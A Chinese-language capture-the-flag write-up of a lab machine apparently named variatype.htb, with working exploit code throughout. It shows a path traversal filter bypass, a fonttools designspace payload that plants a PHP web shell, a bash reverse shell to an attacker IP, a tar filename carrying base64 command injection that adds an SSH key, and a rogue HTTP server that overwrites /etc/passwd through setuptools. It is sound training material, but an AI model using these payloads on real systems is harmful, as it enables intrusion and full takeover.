目标信息
IP地址:
10.129.185.200(非固定IP地址)
信息收集
ICMP检测
PING 10.129.185.200 (10.129.185.200) 56(84) bytes of data.
64 bytes from 10.129.185.200: icmp_seq=1 ttl=63 time=105 ms
64 bytes from 10.129.185.200: icmp_seq=2 ttl=63 time=127 ms
64 bytes from 10.129.185.200: icmp_seq=3 ttl=63 time=149 ms
64 bytes from 10.129.185.200: icmp_seq=4 ttl=63 time=138 ms
--- 10.129.185.200 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3005ms
rtt min/avg/max/mdev = 104.559/129.690/148.857/16.455 ms
攻击机和靶机间网络连接状态正常。
防火墙检测
# Nmap 7.98 scan initiated Sun Mar 15 07:54:46 2026 as: /usr/lib/nmap/nmap -sF -p- --min-rate 3000 -oN fin_result.txt 10.129.185.200
Nmap scan report for 10.129.185.200
Host is up (0.11s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open|filtered ssh
80/tcp open|filtered http
# Nmap done at Sun Mar 15 07:55:16 2026 -- 1 IP address (1 host up) scanned in 30.26 seconds
靶机疑似开放了2个TCP端口。
网络端口扫描
TCP端口扫描结果
# Nmap 7.98 scan initiated Sun Mar 15 07:57:09 2026 as: /usr/lib/nmap/nmap -sT -sV -A -p- --min-rate 3000 -oN tcp_result.txt 10.129.185.200
Warning: 10.129.185.200 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.185.200
Host is up (0.11s latency).
Not shown: 60288 closed tcp ports (conn-refused), 5245 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 e0:b2:eb:88:e3:6a:dd:4c:db:c1:38:65:46:b5:3a:1e (ECDSA)
|_ 256 ee:d2:bb:81:4d:a2:8f:df:1c:50:bc:e1:0e:0a:d1:22 (ED25519)
80/tcp open http nginx 1.22.1
|_http-server-header: nginx/1.22.1
|_http-title: Did not follow redirect to http://variatype.htb/
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.19
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using proto 1/icmp)
HOP RTT ADDRESS
1 147.11 ms 10.10.16.1
2 147.14 ms 10.129.185.200
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 15 07:58:27 2026 -- 1 IP address (1 host up) scanned in 78.26 seconds
UDP端口开放列表扫描结果
# Nmap 7.98 scan initiated Sun Mar 15 08:00:43 2026 as: /usr/lib/nmap/nmap -sU -p- --min-rate 3000 -oN udp_ports.txt 10.129.185.200
Warning: 10.129.185.200 giving up on port because retransmission cap hit (10).
Nmap scan report for 10.129.185.200
Host is up (0.098s latency).
All 65535 scanned ports on 10.129.185.200 are in ignored states.
Not shown: 65290 open|filtered udp ports (no-response), 245 closed udp ports (port-unreach)
# Nmap done at Sun Mar 15 08:04:45 2026 -- 1 IP address (1 host up) scanned in 241.63 seconds
UDP端口详细信息扫描结果
(无)
同时发现靶机运行Debian Linux操作系统,开放了22/ssh和80/http服务,Web服务主域名为variatype.htb。
服务探测
SSH服务(22端口)
尝试使用ssh工具连接靶机,确定其登录方式:
ssh root@variatype.htb

发现靶机SSH服务可使用密钥和密码两种方式登录。
Web应用程序(80端口)
虚拟主机爆破
在进行Web服务枚举前,首先进行虚拟主机名称爆破:
wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -t 70 -u 10.129.185.200 -H "Host: FUZZ.variatype.htb" --hh 169 --hc 400

成功发现子域名portal.variatype.htb。
主站点枚举
打开主页:http://variatype.htb/

发现该站点为字体生成器,支持通过上传的初始字体和.designspace配置文件生成一个经过调整的自定义字体。且网页上的介绍内容称,该在线工具使用了Python fonttools类库实现,推测站点编程语言为Python:

翻看网页源代码,发现一个电子邮箱:studio@variabyte.labs
<a href="mailto:studio@variabype.labs" class="btn" style="display: inline-block;">Email Us</a>
点击Generate Font按钮,直接跳转到了字体上传页面:http://variatype.htb/tools/variable-font-generator

尝试联网搜索fonttools类库的公开漏洞,发现fonttools介于v4.33.0和v4.60.2之间的版本存在任意文件写入漏洞,编号为CVE-2025-66034:Arbitrary File Write and XML injection in fontTools.varLib · Advisory · fonttools/fonttools · GitHub

除此之外,在网页上未发现其它有效信息。
portal站点枚举
打开子站点:http://portal.variatype.htb/

发现主页面为登录框,查看网页源代码,只发现了另一个电子邮箱:
<strong>Need help?</strong> Contact IT Support at <a href="mailto:it-support@variatype.htb" style="color: var(--primary);">it-support@variatype.internal</a>
尝试扫描目录:
dirsearch -u http://portal.variatype.htb -x 400,403,404 -e php,js,html,txt,zip,tar.gz,xml,json,md -t 70

成功发现portal.variatype.htb下存在Git元数据泄露,以及用户文件目录/files。
除此之外,未发现任何信息。
渗透测试
下载Git元数据发现凭据
在服务探测阶段,我们已经成功发现了Web站点portal.variatype.htb根目录下存在.git元数据文件夹,现在进行利用。
直接使用git-dumper工具进行下载:
git-dumper http://portal.variatype.htb/.git/ portal_variatype_htb-gitdata

成功下载.git元数据!尝试使用git工具查看历史提交记录:
git show

发现Web用户凭据:
- 用户名:
gitbot - 密码:
G1tB0t_Acc3ss_2025!
直接登录portal.variatype.htb:

成功!
任意文件读取漏洞挖掘利用
登录portal.variatype.htb后台后,可以发现该后台的作用仅为查看其它用户在variatype.htb的字体处理页面上传制作的字体文件:
<div class="footer">
<p>Files are auto-archived from the main generator pipeline.</p>
</div>
重新审视整个Web服务架构,决定尝试利用CVE-2025-66034漏洞EXP中的字体生成脚本生成测试字体,随后创建一个正常的designspace配置文件,和字体一同上传,以便枚举后台功能:

normal.designspace配置文件内容:
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400"/>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MaliciousFont" filename="output.ttf">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
直接将脚本保存到本地运行:
python createfont.py
生成完毕后,访问在线字体处理页面,在页面上选中normal.designspace配置文件和两个字体,点击Generate Variable Font按钮上传并处理:

上传成功!查看页面源代码,发现处理后字体的下载链接为ID格式:
<a href="/download/SVPjr0p-57g" class="btn">Download Variable Font</a>
重新返回后台,发现字体列表中出现了刚才上传的字体,每个字体的文本栏最右侧存在View和Download两个链接:

其中View链接目标为view.php,作用为显示字体文件的基本信息:

而Download链接目标为download.php,作用为下载字体文件到本地,但两者相同的一点为都使用HTTP GET参数f接收目标字体文件名获取相应内容,因此,怀疑download.php存在任意文件读取漏洞。
尝试使用路径穿越符../读取操作系统的/etc/passwd文件:
http://portal.variatype.htb/download.php?f=../../../../../../etc/passwd

但页面直接返回了File not found,仔细思考,发现页面返回的是“文件不存在”的错误信息,而不是“参数中存在非法字符”,或许程序在接收到文件名参数时,使用了类似str_replace()的函数移除了参数值中的危险字符,而不是在检测到危险字符时直接报错。
尝试使用双写路径穿越符的方法进行绕过:
http://portal.variatype.htb/download.php?f=..././..././..././..././..././..././etc/passwd

成功发现任意文件读取漏洞!
结合之前的渗透测试流程重新评估当前情况,认为如果需要利用CVE-2025-66034漏洞进行命令执行,则必须要获取portal.variatype.htb站点根目录的绝对路径,将木马程序写入后台站点根目录下。因此,决定读取/etc/nginx/nginx.conf配置文件:
http://portal.variatype.htb/download.php?f=..././..././..././..././..././..././etc/nginx/nginx.conf

发现关于后台站点的配置存储在sites-enabled目录下,继续读取该文件:
http://portal.variatype.htb/download.php?f=..././..././..././..././..././..././etc/nginx/sites-enabled/portal.variatype.htb

成功发现后台站点根目录:/var/www/portal.variatype.htb/public/!
CVE-2025-66034漏洞利用
在前面的渗透测试过程中,我们已经通过挖掘出的任意文件读取漏洞,读取了Nginx配置文件,并获取了后台站点的根目录,现在使用CVE-2025-66034漏洞,向该目录写入网页木马实现RCE。
直接新建一个恶意designspace配置:cve-2025-66034_exploit.designspace:
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET['cmd']); ?>]]]]><![CDATA[>]]></labelname>
<labelname xml:lang="fr">MEOW2</labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location>
<dimension name="Weight" xvalue="100"/>
</location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location>
<dimension name="Weight" xvalue="400"/>
</location>
</source>
</sources>
<variable-fonts>
<variable-font name="MaliciousFont" filename="../../../../../../../../var/www/portal.variatype.htb/public/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>
随后将两个字体文件和恶意designspace配置一并上传,访问木马文件http://portal.variatype.htb/shell.php,尝试执行id命令:

确定木马正常运行!执行URL编码后的反弹Shell命令:
/bin/bash -c 'bash -i >& /dev/tcp/10.10.16.24/443 0>&1'

反弹Shell成功!!
权限提升
目录信息收集
进入系统后,执行目录信息收集,在/opt/目录下发现2个子目录和1个备份文件:
ls -lA /opt

除此之外,未发现任何信息。尝试使用pspy32工具监控系统进程:
./pspy32 >& /dev/tcp/10.10.16.24/53 0>&1 &

发现系统内似乎存在定时执行的脚本/home/steve/bin/process_client_submissions.sh,该脚本的文件名称与/opt/目录下备份文件的名称相同,查看/opt/process_client_submissions.bak,发现确实为定时脚本的备份:
#!/bin/bash
#
# Variatype Font Processing Pipeline
# Author: Steve Rodriguez
# Only accepts filenames with letters, digits, dots, hyphens, and underscores.
#
set -euo pipefail
UPLOAD_DIR="/var/www/portal.variatype.htb/public/files"
PROCESSED_DIR="/home/steve/processed_fonts"
QUARANTINE_DIR="/home/steve/quarantine"
LOG_FILE="/home/steve/logs/font_pipeline.log"
mkdir -p "$PROCESSED_DIR" "$QUARANTINE_DIR" "$(dirname "$LOG_FILE")"
log() {
echo "[$(date --iso-8601=seconds)] $*" >> "$LOG_FILE"
}
cd "$UPLOAD_DIR" || { log "ERROR: Failed to enter upload directory"; exit 1; }
shopt -s nullglob
EXTENSIONS=(
"*.ttf" "*.otf" "*.woff" "*.woff2"
"*.zip" "*.tar" "*.tar.gz"
"*.sfd"
)
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'
found_any=0
for ext in "${EXTENSIONS[@]}"; do
for file in $ext; do
found_any=1
[[ -f "$file" ]] || continue
[[ -s "$file" ]] || { log "SKIP (empty): $file"; continue; }
# Enforce strict naming policy
if [[ ! "$file" =~ $SAFE_NAME_REGEX ]]; then
log "QUARANTINE: Filename contains invalid characters: $file"
mv "$file" "$QUARANTINE_DIR/" 2>/dev/null || true
continue
fi
log "Processing submission: $file"
if timeout 30 /usr/local/src/fontforge/build/bin/fontforge -lang=py -c "
import fontforge
import sys
try:
font = fontforge.open('$file')
family = getattr(font, 'familyname', 'Unknown')
style = getattr(font, 'fontname', 'Default')
print(f'INFO: Loaded {family} ({style})', file=sys.stderr)
font.close()
except Exception as e:
print(f'ERROR: Failed to process $file: {e}', file=sys.stderr)
sys.exit(1)
"; then
log "SUCCESS: Validated $file"
else
log "WARNING: FontForge reported issues with $file"
fi
mv "$file" "$PROCESSED_DIR/" 2>/dev/null || log "WARNING: Could not move $file"
done
done
if [[ $found_any -eq 0 ]]; then
log "No eligible submissions found."
fi
通读脚本,发现该脚本的作用为检查/var/www/portal.variatype.htb/public/files/目录下上传的字体文件是否合法,并将它们的字体名称作为日志信息打印出来。脚本会使用cd命令进入Web上传目录,随后扫描目录内的文件,如果目录内存在字体文件与ZIP和TAR格式的压缩包,且文件名称仅包含数字、字母、点号和横杠(通过正则表达式检查),脚本就会调用/usr/local/src/fontforge/build/bin/fontforge程序,使用其-c参数执行自定义的检查脚本。由于正则表达式的限制,我们无法在上传文件的文件名处进行利用尝试,只能联网搜索fontforge程序漏洞。执行如下命令获取其版本信息:
/usr/local/src/fontforge/build/bin/fontforge --version

发现FontForge字体编辑器版本为v20230101,联网搜索漏洞,成功发现一个命令执行漏洞,编号为CVE-2024-25082:CVE-2024-25082 - How a FontForge Vulnerability Lets Attackers Run Commands from Malicious Font Files

经分析研判,决定从定时脚本process_client_submissions.sh处,通过CVE-2024-25081漏洞进行提权。
CVE-2024-25081漏洞利用
在目录信息收集阶段,我们已经发现了定时脚本process_client_submissions.sh调用的程序FontForge v20230101存在命令执行漏洞CVE-2024-25081,现在进行利用。
根据漏洞描述,直接在靶机上编写一个恶意的TAR格式压缩文件生成脚本,压缩文件中包含一个文件名中存在恶意命令的文件,恶意命令的作用为将SSH公钥写入/home/steve/.ssh目录:
#!/usr/bin/python3
import io
import tarfile
evil_filename = '''test.ttf;eval $(echo "bWtkaXIgL2hvbWUvc3RldmUvLnNzaAo="|base64 -d);eval $(echo "ZWNobyAnc3NoLWVkMjU1MTkgQUFBQUMzTnphQzFsWkRJMU5URTVBQUFBSU51elZ5SzI0UjFwc040eGpmeHZsMkFQWTc4NXk1Umc3dHVRVUMySEFTa2kgcm9vdEBtaXNha2ExOTAwOC12bScgPiAvaG9tZS9zdGV2ZS8uc3NoL2F1dGhvcml6ZWRfa2V5cwo="|base64 -d)'''
with tarfile.TarFile("/var/www/portal.variatype.htb/public/files/cve-2024-25081-exploit.tar", 'w') as tarf:
tarinfo = tarfile.TarInfo(name = evil_filename)
tarinfo.size = 1
tarf.addfile(tarinfo, io.BytesIO(b'test'))
将其上传至靶机,赋予执行权限后执行。等待一会儿后,尝试使用ssh连接steve用户(私钥已经存在于本地.ssh目录下):
ssh steve@variatype.htb

成功!
CVE-2025-47273漏洞利用
登录steve用户后,尝试执行sudo -l命令查看当前用户Sudo权限:

发现当前用户可以root权限免密使用python3运行/opt/font-tools/install_validator.py脚本。直接查看该脚本内容:
#!/usr/bin/env python3
"""
Font Validator Plugin Installer
--------------------------------
Allows typography operators to install validation plugins
developed by external designers. These plugins must be simple
Python modules containing a validate_font() function.
Example usage:
sudo /opt/font-tools/install_validator.py https://designer.example.com/plugins/woff2-check.py
"""
import os
import sys
import re
import logging
from urllib.parse import urlparse
from setuptools.package_index import PackageIndex
# Configuration
PLUGIN_DIR = "/opt/font-tools/validators"
LOG_FILE = "/var/log/font-validator-install.log"
# Set up logging
os.makedirs(os.path.dirname(LOG_FILE), exist_ok=True)
logging.basicConfig(
level=logging.INFO,
format='%(asctime)s [%(levelname)s] %(message)s',
handlers=[
logging.FileHandler(LOG_FILE),
logging.StreamHandler(sys.stdout)
]
)
def is_valid_url(url):
try:
result = urlparse(url)
return all([result.scheme in ('http', 'https'), result.netloc])
except Exception:
return False
def install_validator_plugin(plugin_url):
if not os.path.exists(PLUGIN_DIR):
os.makedirs(PLUGIN_DIR, mode=0o755)
logging.info(f"Attempting to install plugin from: {plugin_url}")
index = PackageIndex()
try:
downloaded_path = index.download(plugin_url, PLUGIN_DIR)
logging.info(f"Plugin installed at: {downloaded_path}")
print("[+] Plugin installed successfully.")
except Exception as e:
logging.error(f"Failed to install plugin: {e}")
print(f"[-] Error: {e}")
sys.exit(1)
def main():
if len(sys.argv) != 2:
print("Usage: sudo /opt/font-tools/install_validator.py <PLUGIN_URL>")
print("Example: sudo /opt/font-tools/install_validator.py https://internal.example.com/plugins/glyph-check.py")
sys.exit(1)
plugin_url = sys.argv[1]
if not is_valid_url(plugin_url):
print("[-] Invalid URL. Must start with http:// or https://")
sys.exit(1)
if plugin_url.count('/') > 10:
print("[-] Suspiciously long URL. Aborting.")
sys.exit(1)
install_validator_plugin(plugin_url)
if __name__ == "__main__":
if os.geteuid() != 0:
print("[-] This script must be run as root (use sudo).")
sys.exit(1)
main()
通读源代码,发现该脚本的作用为调用setuptools类库PackageIndex的download()方法,接收用户从命令行参数输入的Python脚本文件URL并下载保存。当脚本开始时,会接收用户传递的脚本URL参数,调用is_valid_url()方法校验URL是否以http://或https://字符串开头,同时还检查URL内的/字符是否小于等于10个,若校验通过,则直接调用PackageIndex.download()方法下载脚本,并将其保存在/opt/font-tools/validators/目录下。
查看靶机Python setuptools类库的版本:
python3 -c "import setuptools;print(setuptools.__version__)"

发现setuptools类库版本为v78.1.0,尝试联网搜索漏洞:GitHub - AliElKhatteb/CVE-2025-47273-POC: CVE-2025-47273 — setuptools path traversal PoC · GitHub

发现该版本setuptools类库存在任意文件写入漏洞,编号为CVE-2025-47273。当PackageIndex.download()方法的URL参数中含有URL编码后的目录穿越符%2f时,由于方法的过滤机制不完善,从远端下载的内容将会被写入任意指定的文件,比如:
http://127.0.0.1/%2ftmp%2ftest.txt#egg=evil-1.0
此时如果传入该参数且HTTP服务器正常响应,响应内容就会被保存至/tmp/test.txt中。
直接创建一个恶意的HTTP服务器脚本,当收到任意请求时,将返回恶意的/etc/passwd文件,其中root用户密码处为自定义的密码哈希:
#!/usr/bin/python3
import http.server
import socketserver
evil_passwd = b'''root:$y$j9T$kNlldGAn3HWPsO8ZY7lWr.$FiLFct.FNl5L19WvYueA6/5/G4Yhht1pAPiyEiAsWd6:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin
systemd-timesync:x:997:997:systemd Time Synchronization:/:/usr/sbin/nologin
messagebus:x:100:107::/nonexistent:/usr/sbin/nologin
sshd:x:101:65534::/run/sshd:/usr/sbin/nologin
steve:x:1000:1000:steve,,,:/home/steve:/bin/bash
variatype:x:102:110::/nonexistent:/usr/sbin/nologin
_laurel:x:999:996::/var/log/laurel:/bin/false
'''
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
self.send_response(200)
self.end_headers()
self.wfile.write(evil_passwd)
with socketserver.TCPServer(("", 80), Handler) as httpd:
httpd.serve_forever()
赋予执行权限后启动该脚本进行80端口监听,随后在靶机上使用sudo执行命令:
sudo python3 /opt/font-tools/install_validator.py "http://10.10.16.13/%2fetc%2fpasswd#egg=misakaevil"

成功覆盖/etc/passwd文件!直接切换用户:
su -

提权成功!!!!
